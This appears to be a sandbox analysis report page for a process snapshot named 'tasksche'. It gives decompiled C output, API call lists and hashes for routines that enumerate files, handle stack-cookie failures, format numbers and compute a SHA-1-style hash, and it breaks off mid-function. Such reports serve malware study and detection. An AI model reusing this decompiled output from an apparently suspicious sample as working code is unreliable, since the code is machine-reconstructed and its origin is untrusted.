0x00401d2f

APIs

__EH_prolog.LIBCMT ref: 00401CC6
_strlen.LIBCMT ref: 00402237

Part of subcall function 00411B3C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,00001FFF,?,?,004022BC,00000000,?,00000800,?,00001FFF,?), ref: 00411B58

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00402393

Strings

CMT, xrefs: 004023B6

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 0d833150b0e9781372fedd96f7e90b819e50a2d0b162322fc32618e90f575283
Instruction ID: 47e58a6222a9c82a3371e9f2a391d10810198bea5a194d1edf5ea2ede1dda2e7
Opcode Fuzzy Hash: 0d833150b0e9781372fedd96f7e90b819e50a2d0b162322fc32618e90f575283
Instruction Fuzzy Hash: 8B6201709006849FCF25DF64C8947EE7BB1AF14304F0844BEE986BB2D6DB795985CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00409476 Relevance: 7.6, APIs: 5, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00409476(intOrPtr __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				signed int _t51;
				signed int _t57;
				signed int _t71;
				void* _t73;
				long _t76;
				char _t77;
				void* _t81;
				intOrPtr _t87;
				intOrPtr _t90;

				_t87 = __edx;
				E0041AAF0(0x1250);
				_t90 = _a12;
				_push( &_v596);
				if(_a4 != 0xffffffff) {
					_t51 = FindNextFileW(_a4, ??);
					__eflags = _t51;
					if(_t51 == 0) {
						_a4 = _a4 | 0xffffffff;
						_t71 = GetLastError();
						__eflags = _t71 - 0x12;
						_t16 = _t71 != 0x12;
						__eflags = _t16;
						 *((char*)(_t90 + 0x1044)) = _t71 & 0xffffff00 | _t16;
					}
					__eflags = _a4 - 0xffffffff;
					if(_a4 != 0xffffffff) {
						goto L13;
					}
				} else {
					_t73 = FindFirstFileW(_a8, ??);
					_a4 = _t73;
					if(_t73 != 0xffffffff) {
						L13:
						E00410B9C(_t90, _a8, 0x800);
						_push(0x800);
						E0040A745(__eflags, _t90,  &(_v596.cFileName));
						_t57 = E0041ABD0(_v596.nFileSizeHigh, 0, 0, 1) + _v596.nFileSizeLow;
						__eflags = _t57;
						 *(_t90 + 0x1000) = _t57;
						 *(_t90 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t90 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t90 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t90 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t90 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t90 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t90 + 0x103c)) = _v572;
						asm("adc edx, edi");
						 *((intOrPtr*)(_t90 + 0x1004)) = _t87;
						E00411333(_t90 + 0x1010,  &(_v596.ftLastWriteTime));
						E00411333(_t90 + 0x1018,  &(_v596.ftCreationTime));
						E00411333(_t90 + 0x1020,  &(_v596.ftLastAccessTime));
					} else {
						if(E0040A3DC(_a8,  &_v4692, 0x800) == 0) {
							L4:
							_t76 = GetLastError();
							if(_t76 == 2 || _t76 == 3 || _t76 == 0x12) {
								_t77 = 0;
								__eflags = 0;
							} else {
								_t77 = 1;
							}
							 *((char*)(_t90 + 0x1044)) = _t77;
						} else {
							_t81 = FindFirstFileW( &_v4692,  &_v596);
							_a4 = _t81;
							if(_t81 != 0xffffffff) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t90 + 0x1040) =  *(_t90 + 0x1040) & 0x00000000;
				return _a4;
			}

0x00409476
0x0040947e
0x00409489
0x00409498
0x00409499
0x00409508
0x0040950e
0x00409510
0x00409512
0x00409516
0x0040951c
0x0040951f
0x0040951f
0x00409522
0x00409522
0x00409528
0x0040952c
0x00000000
0x00000000
0x0040949b
0x004094a4
0x004094a6
0x004094ac
0x00409532
0x00409537
0x0040953c
0x00409545
0x00409563
0x00409563
0x00409565
0x00409571
0x0040957d
0x00409589
0x00409595
0x004095a1
0x004095ad
0x004095b9
0x004095c5
0x004095ce
0x004095d4
0x004095e6
0x004095f8
0x004094b2
0x004094c4
0x004094de
0x004094de
0x004094e7
0x004094f8
0x004094f8
0x004094f3
0x004094f5
0x004094f5
0x004094fa
0x004094c6
0x004094d4
0x004094d6
0x004094dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004094dc
0x004094c4
0x004094ac
0x004095fd
0x0040960b

APIs

FindFirstFileW.KERNEL32(?,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094A4
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094D4
GetLastError.KERNEL32(?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004094DE
FindNextFileW.KERNEL32(000000FF,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 00409508
GetLastError.KERNEL32(?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 00409516

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: f7bac1042a9f825379b15b0fd387309282456de66f14073edf54f279f380c5a9
Instruction ID: 852f22f8762d0aaf1b59ecd7198268998001e7cc0733578d9edc4610c3c70bd0
Opcode Fuzzy Hash: f7bac1042a9f825379b15b0fd387309282456de66f14073edf54f279f380c5a9
Instruction Fuzzy Hash: 2E414071500648ABCB21DF29CC84ADA77F8AF48350F10466AF9AEE2291D774AEC1DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6DE Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041E6DE(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x430298; // 0x98b59c5
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44ff68 = _t6;
				 *0x44ff64 = _t22;
				 *0x44ff60 = _t25;
				 *0x44ff5c = _t21;
				 *0x44ff58 = _t27;
				 *0x44ff54 = _t26;
				 *0x44ff80 = ss;
				 *0x44ff74 = cs;
				 *0x44ff50 = ds;
				 *0x44ff4c = es;
				 *0x44ff48 = fs;
				 *0x44ff44 = gs;
				asm("pushfd");
				_pop( *0x44ff78);
				 *0x44ff6c =  *_t31;
				 *0x44ff70 = _v0;
				 *0x44ff7c =  &_a4;
				 *0x44feb8 = 0x10001;
				_t11 =  *0x44ff70; // 0x0
				 *0x44fe6c = _t11;
				 *0x44fe60 = 0xc0000409;
				 *0x44fe64 = 1;
				_t12 =  *0x430298; // 0x98b59c5
				_v812 = _t12;
				_t13 =  *0x43029c; // 0xf674a63a
				_v808 = _t13;
				 *0x44feb0 = IsDebuggerPresent();
				_push(1);
				E00424E29(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x42ba78);
				if( *0x44feb0 == 0) {
					_push(1);
					E00424E29(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6e4
0x0041e6e6
0x0041e6e6
0x00423e8e
0x00423e93
0x00423e99
0x00423e9f
0x00423ea5
0x00423eab
0x00423eb1
0x00423eb8
0x00423ebf
0x00423ec6
0x00423ecd
0x00423ed4
0x00423edb
0x00423edc
0x00423ee5
0x00423eed
0x00423ef5
0x00423f00
0x00423f0a
0x00423f0f
0x00423f14
0x00423f1e
0x00423f28
0x00423f2d
0x00423f33
0x00423f38
0x00423f44
0x00423f49
0x00423f4b
0x00423f53
0x00423f5e
0x00423f6b
0x00423f6d
0x00423f6f
0x00423f74
0x00423f88

APIs

IsDebuggerPresent.KERNEL32 ref: 00423F3E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00423F53
UnhandledExceptionFilter.KERNEL32(0042BA78), ref: 00423F5E
GetCurrentProcess.KERNEL32(C0000409), ref: 00423F7A
TerminateProcess.KERNEL32(00000000), ref: 00423F81

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction ID: 77c401cdca4814435c65699ef26cb777055d8c499ed0f7a386f9586c05fd5705
Opcode Fuzzy Hash: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction Fuzzy Hash: 6F21C0B8A10208DFE710DF25F8496597BA0FB1A315F90117BE90887271EBB5599ECF0E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D155 Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D155(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				int _t22;
				void* _t23;
				void* _t24;
				short* _t26;

				if( *0x4300dc == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x44cf24 = _v304;
					 *0x44cf26 = 0;
					 *0x4300dc = 0x44cf24;
				}
				E00410BF7(_t23, _t24, _a4, _a8,  &_v104, 0x32);
				_t22 = _a16;
				_t26 = _a12;
				 *_t26 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x4300cc, _t26, _t22);
				 *((short*)(_t26 + _t22 * 2 - 2)) = 0;
				return 0;
			}

0x0040d16d
0x0040d17b
0x0040d188
0x0040d190
0x0040d196
0x0040d196
0x0040d1ac
0x0040d1b1
0x0040d1b4
0x0040d1c0
0x0040d1ca
0x0040d1d3
0x0040d1db

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0040D17B
GetNumberFormatW.KERNEL32 ref: 0040D1CA

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction ID: 2e86bd0250e0b4fef5c8dc12a3830970d19becb9d4c55c3472b337e1343b8b10
Opcode Fuzzy Hash: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction Fuzzy Hash: DB017C35600248AEE710DFA4EC41FAAB7FCEF09714F005426FA04EB1A0D3B89915CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00410178 Relevance: 2.8, Strings: 2, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00410178(void* __ecx, void* _a4, signed int _a8, signed int* _a12, signed int _a16) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int* _v16;
				void _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t236;
				signed int _t244;
				signed int _t255;
				signed int _t264;
				signed int _t274;
				void* _t276;
				signed int _t286;
				signed int _t288;
				signed int _t292;
				signed int _t298;
				signed int* _t312;
				void* _t332;
				intOrPtr _t333;
				signed int _t337;
				signed int* _t340;
				signed int* _t341;
				signed int* _t345;
				signed int _t346;
				signed int* _t350;
				void* _t351;
				void* _t356;
				signed int _t389;
				void* _t390;
				signed int* _t392;
				signed int* _t400;
				signed int* _t408;
				signed int* _t412;
				signed int* _t415;
				signed int* _t420;
				void* _t421;
				void* _t422;

				if(_a16 == 0) {
					_t286 = _a12;
				} else {
					_t286 = _a8;
					E0041C290(_t286, _t356, _t390, _t286, _a12, 0x40);
					_t422 = _t422 + 0xc;
				}
				if( *0x44f578 == 0) {
					_t333 = 0;
					_t420 = 0x44ef3c;
					do {
						_t5 = _t333 + 1; // 0x1
						asm("cdq");
						_t389 = 5;
						_t10 = _t333 + 2; // 0x2
						 *((intOrPtr*)(_t420 - 4)) = _t333;
						 *_t420 = _t5 % _t389;
						asm("cdq");
						_t16 = _t333 + 3; // 0x3
						_t420 =  &(_t420[5]);
						 *(_t420 - 0x10) = _t10 % _t389;
						asm("cdq");
						_t22 = _t333 + 4; // 0x4
						 *(_t420 - 0xc) = _t16 % _t389;
						asm("cdq");
						 *(_t420 - 8) = _t22 % _t389;
						if(_t333 == 0) {
							_t333 = 4;
						} else {
							_t333 = _t333 - 1;
						}
					} while (_t420 < 0x44f57c);
					 *0x44f578 = 1;
				}
				_t288 = 5;
				memcpy( &_v36, _a4, _t288 << 2);
				_t236 = 0x44ef44;
				_a16 = _t286;
				do {
					_t392 = _a16;
					asm("ror ecx, 0x8");
					asm("rol edx, 0x8");
					_t292 =  *_t392 & 0xff00ff00 |  *_t392 & 0x00ff00ff;
					 *_t392 = _t292;
					_t337 =  *(_t421 +  *_t236 * 4 - 0x20);
					_a16 = _a16 + 4;
					_a12 = _t421 +  *(_t236 - 8) * 4 - 0x20;
					_v8 = _t421 + _t236[1] * 4 - 0x20;
					_a8 = _t337;
					asm("rol esi, 0x5");
					_t62 =  *((intOrPtr*)(_t421 +  *(_t236 - 0xc) * 4 - 0x20)) + _t292 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *(_t236 - 4) * 4 - 0x20) ^ _t337) &  *_a12 ^ _a8) + _t62;
					asm("ror dword [ecx], 0x2");
					_t236 =  &(_t236[5]);
					_t340 = 0x44f084;
				} while (_t236 < 0x44f084);
				_a16 = 0x10;
				do {
					_t66 = _a16 - 3; // 0xd
					_t295 = _t66;
					_t400 = _t286 + (_a16 & 0x0000000f) * 4;
					_t69 = _t295 - 5; // 0x8
					_t72 = _t295 + 5; // 0x12
					_t244 =  *(_t286 + (_t69 & 0x0000000f) * 4) ^  *(_t286 + (_t72 & 0x0000000f) * 4) ^  *(_t286 + (_t66 & 0x0000000f) * 4) ^  *_t400;
					asm("rol eax, 1");
					 *_t400 = _t244;
					_t77 = _t340 - 8; // 0x0
					_t298 =  *(_t421 +  *_t340 * 4 - 0x20);
					_t81 = _t340 - 4; // 0x0
					_a12 = _t421 +  *_t77 * 4 - 0x20;
					_t89 =  &(_t340[1]); // 0x0
					_v8 = _t421 +  *_t89 * 4 - 0x20;
					_t94 = _t340 - 0xc; // 0x0
					_a8 = _t298;
					asm("rol esi, 0x5");
					_t103 =  *((intOrPtr*)(_t421 +  *_t94 * 4 - 0x20)) + _t244 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *_t81 * 4 - 0x20) ^ _t298) &  *_a12 ^ _a8) + _t103;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t340 =  &(_t340[5]);
				} while (_t340 < 0x44f0d4);
				_a16 = 0x14;
				_t341 = 0x44f0d4;
				do {
					_t109 = _a16 - 3; // 0x11
					_t301 = _t109;
					_t408 = _t286 + (_a16 & 0x0000000f) * 4;
					_t112 = _t301 - 5; // 0xc
					_t113 = _t301 + 5; // 0x16
					_t255 =  *(_t286 + (_t112 & 0x0000000f) * 4) ^  *(_t286 + (_t113 & 0x0000000f) * 4) ^  *(_t286 + (_t109 & 0x0000000f) * 4) ^  *_t408;
					asm("rol eax, 1");
					 *_t408 = _t255;
					_t120 = _t341 - 8; // 0x0
					_a12 = _t421 +  *_t120 * 4 - 0x20;
					_t125 =  &(_t341[1]); // 0x0
					_v8 = _t421 +  *_t125 * 4 - 0x20;
					_t130 = _t341 - 0xc; // 0x0
					_t134 = _t341 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v8 =  *_v8 + ( *(_t421 +  *_t134 * 4 - 0x20) ^  *(_t421 +  *_t341 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t130 * 4 - 0x20)) + _t255 + 0x6ed9eba1;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t341 =  &(_t341[5]);
				} while (_t341 < 0x44f264);
				_t312 = 0x44f260;
				_a16 = 0x28;
				_a12 = 0x44f260;
				do {
					_t150 = _a16 - 3; // 0x25
					_t342 = _t150;
					_t412 = _t286 + (_a16 & 0x0000000f) * 4;
					_t153 = _t342 - 5; // 0x20
					_t156 = _t342 + 5; // 0x2a
					_t264 =  *(_t286 + (_t153 & 0x0000000f) * 4) ^  *(_t286 + (_t156 & 0x0000000f) * 4) ^  *(_t286 + (_t150 & 0x0000000f) * 4) ^  *_t412;
					asm("rol eax, 1");
					 *_t412 = _t264;
					_t161 = _t312 - 4; // 0x0
					_t162 =  &(_t312[2]); // 0x0
					_t345 = _t421 +  *_t161 * 4 - 0x20;
					_v16 = _t345;
					_t346 =  *_t345;
					_v12 = _t421 +  *_t162 * 4 - 0x20;
					_t174 = _t312 - 8; // 0x0
					_t175 =  &(_t312[1]); // 0x0
					_a8 = _t346;
					asm("rol edi, 0x5");
					 *_v12 =  *_v12 + ( *(_t421 +  *_t175 * 4 - 0x20) & (_t346 |  *(_t421 +  *_t312 * 4 - 0x20)) | _a8 &  *(_t421 +  *_t312 * 4 - 0x20)) +  *((intOrPtr*)(_t421 +  *_t174 * 4 - 0x20)) + _t264 - 0x70e44324;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t312 =  &(_a12[5]);
					_a12 = _t312;
				} while (_t312 < 0x44f3f0);
				_a16 = 0x3c;
				_t350 = 0x44f3f4;
				do {
					_t194 = _a16 - 3; // 0x39
					_t320 = _t194;
					_t415 = _t286 + (_a16 & 0x0000000f) * 4;
					_t197 = _t320 - 5; // 0x34
					_t198 = _t320 + 5; // 0x3e
					_t274 =  *(_t286 + (_t197 & 0x0000000f) * 4) ^  *(_t286 + (_t198 & 0x0000000f) * 4) ^  *(_t286 + (_t194 & 0x0000000f) * 4) ^  *_t415;
					asm("rol eax, 1");
					 *_t415 = _t274;
					_t205 = _t350 - 8; // 0x0
					_a12 = _t421 +  *_t205 * 4 - 0x20;
					_t210 =  &(_t350[1]); // 0x0
					_v16 = _t421 +  *_t210 * 4 - 0x20;
					_t215 = _t350 - 0xc; // 0x0
					_t219 = _t350 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v16 =  *_v16 + ( *(_t421 +  *_t219 * 4 - 0x20) ^  *(_t421 +  *_t350 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t215 * 4 - 0x20)) + _t274 - 0x359d3e2a;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t350 =  &(_t350[5]);
				} while (_t350 < 0x44f584);
				_t276 = _a4;
				_t332 =  &_v36 - _t276;
				_t351 = 5;
				do {
					 *_t276 =  *_t276 +  *((intOrPtr*)(_t332 + _t276));
					_t276 = _t276 + 4;
					_t351 = _t351 - 1;
				} while (_t351 != 0);
				return _t276;
			}

0x00410185
0x0041019a
0x00410187
0x00410187
0x00410190
0x00410195
0x00410195
0x004101a4
0x004101a6
0x004101a8
0x004101ad
0x004101ad
0x004101b0
0x004101b3
0x004101b6
0x004101b9
0x004101bc
0x004101be
0x004101c1
0x004101c4
0x004101c7
0x004101ca
0x004101cd
0x004101d0
0x004101d3
0x004101d6
0x004101db
0x004101e2
0x004101dd
0x004101dd
0x004101dd
0x004101e3
0x004101eb
0x004101eb
0x004101f7
0x004101fb
0x004101fd
0x00410202
0x00410205
0x00410205
0x0041020c
0x00410215
0x0041021e
0x00410220
0x00410227
0x00410232
0x0041023a
0x00410246
0x00410250
0x00410258
0x00410263
0x0041026a
0x0041026f
0x00410272
0x00410275
0x0041027a
0x0041027e
0x00410285
0x00410288
0x00410288
0x0041028e
0x00410291
0x0041029a
0x004102a9
0x004102ab
0x004102ad
0x004102af
0x004102b4
0x004102b8
0x004102c3
0x004102c6
0x004102cf
0x004102d2
0x004102d9
0x004102e1
0x004102ec
0x004102f3
0x004102f8
0x004102fb
0x004102fe
0x00410306
0x0041030e
0x00410315
0x00410317
0x0041031a
0x0041031a
0x00410320
0x00410323
0x00410326
0x0041033b
0x0041033d
0x0041033f
0x00410341
0x0041034a
0x0041034d
0x00410354
0x00410357
0x0041035e
0x00410369
0x0041037f
0x00410381
0x00410384
0x00410387
0x0041038a
0x00410392
0x00410397
0x0041039e
0x004103a1
0x004103a4
0x004103a4
0x004103aa
0x004103ad
0x004103b6
0x004103c5
0x004103c7
0x004103c9
0x004103cb
0x004103ce
0x004103d7
0x004103df
0x004103e2
0x004103e4
0x004103e7
0x004103ea
0x004103f5
0x00410405
0x00410414
0x0041041c
0x0041041f
0x00410422
0x0041042b
0x0041042b
0x00410434
0x0041043b
0x00410440
0x00410443
0x00410443
0x00410449
0x0041044c
0x0041044f
0x00410464
0x00410466
0x00410468
0x0041046a
0x00410473
0x00410476
0x0041047d
0x00410480
0x00410487
0x00410492
0x004104a8
0x004104aa
0x004104ad
0x004104b0
0x004104b3
0x004104bb
0x004104c3
0x004104c5
0x004104c6
0x004104c9
0x004104cb
0x004104ce
0x004104ce
0x004104d5

Strings

<D, xrefs: 004101A8
DD, xrefs: 004101FD

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: <D$DD
API String ID: 0-3036587789
Opcode ID: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction ID: 59a02f745f793eb532b4d9e305735a670a6f692f985c4356a20c5044c607aa25
Opcode Fuzzy Hash: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction Fuzzy Hash: E8D15D72A0061ACFCF14CF58D884599B3B1FF8C308B2685ADE919AB245D731BA56CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00417D78 Relevance: 2.6, APIs: 1, Instructions: 1055
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00417D78(void* __ecx, unsigned int _a4, char _a7) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t539;
				signed int _t540;
				unsigned int _t541;
				signed int _t544;
				signed int _t545;
				signed int _t547;
				unsigned int _t551;
				signed int _t553;
				intOrPtr* _t554;
				unsigned int _t556;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				unsigned int _t563;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t570;
				unsigned int _t571;
				unsigned int _t580;
				unsigned int _t582;
				signed int _t583;
				unsigned int _t584;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				unsigned int _t590;
				signed int _t592;
				unsigned int _t593;
				unsigned int _t594;
				unsigned int _t595;
				signed int _t597;
				void* _t598;
				signed int _t601;
				signed int _t602;
				unsigned int _t603;
				signed int _t606;
				signed int _t607;
				unsigned int _t611;
				signed int _t613;
				unsigned int _t614;
				unsigned int _t616;
				unsigned int _t618;
				signed int _t619;
				unsigned int _t620;
				signed int _t623;
				signed int _t624;
				unsigned int _t625;
				signed int _t626;
				unsigned int _t627;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				unsigned int _t633;
				unsigned int _t634;
				unsigned int _t635;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				unsigned int _t639;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				void* _t648;
				void* _t649;
				signed int _t651;
				unsigned int _t658;
				unsigned int _t660;
				signed char _t661;
				signed int _t662;
				signed int _t666;
				unsigned int _t667;
				unsigned int _t669;
				signed int _t671;
				intOrPtr _t673;
				signed int _t678;
				signed int _t680;
				signed int _t681;
				signed int _t684;
				signed int _t688;
				signed int _t689;
				unsigned int _t695;
				signed int _t696;
				intOrPtr* _t700;
				intOrPtr* _t702;
				signed int _t704;
				signed int _t706;
				unsigned int _t708;
				void* _t710;
				signed int _t715;
				void* _t723;
				unsigned int _t727;
				unsigned int _t730;
				void* _t732;
				signed int _t734;
				char* _t740;
				unsigned int _t741;
				void* _t743;
				intOrPtr* _t747;
				void* _t748;
				signed int _t751;
				signed int _t753;
				unsigned int _t759;
				unsigned int _t762;
				signed int _t766;
				unsigned int _t768;
				void* _t770;
				signed int _t772;
				signed int _t773;
				void* _t779;
				void* _t781;
				signed int _t787;
				void* _t789;
				intOrPtr* _t791;
				void* _t792;
				signed int _t795;
				void* _t798;
				void* _t803;
				signed int _t806;
				void* _t809;
				void* _t814;
				signed int _t817;
				void* _t825;
				signed int _t826;
				intOrPtr _t829;
				unsigned int _t831;
				unsigned int _t832;
				signed int _t834;
				unsigned int _t841;
				void* _t849;
				void* _t854;
				signed int _t855;
				intOrPtr _t858;
				unsigned int _t859;
				signed int _t860;
				signed int _t862;
				intOrPtr _t865;
				signed int _t877;
				intOrPtr _t880;
				signed int _t888;
				signed int _t890;
				intOrPtr _t893;
				signed int _t901;
				signed int _t902;
				signed int _t921;
				signed int _t923;
				intOrPtr _t926;
				intOrPtr* _t934;
				signed int _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				void* _t953;

				_t680 = 0;
				_t936 = __ecx;
				_t938 =  *0x44f6fc - _t680; // 0x0
				if(_t938 != 0) {
					L6:
					 *((char*)(_t936 + 0x4c58)) = 1;
					if( *((char*)(_t936 + 0x4c48)) != 0) {
						L11:
						_t934 = _t936 + 4;
						while(1) {
							L12:
							 *(_t936 + 0x70) =  *(_t936 + 0x70) &  *(_t936 + 0xe6dc);
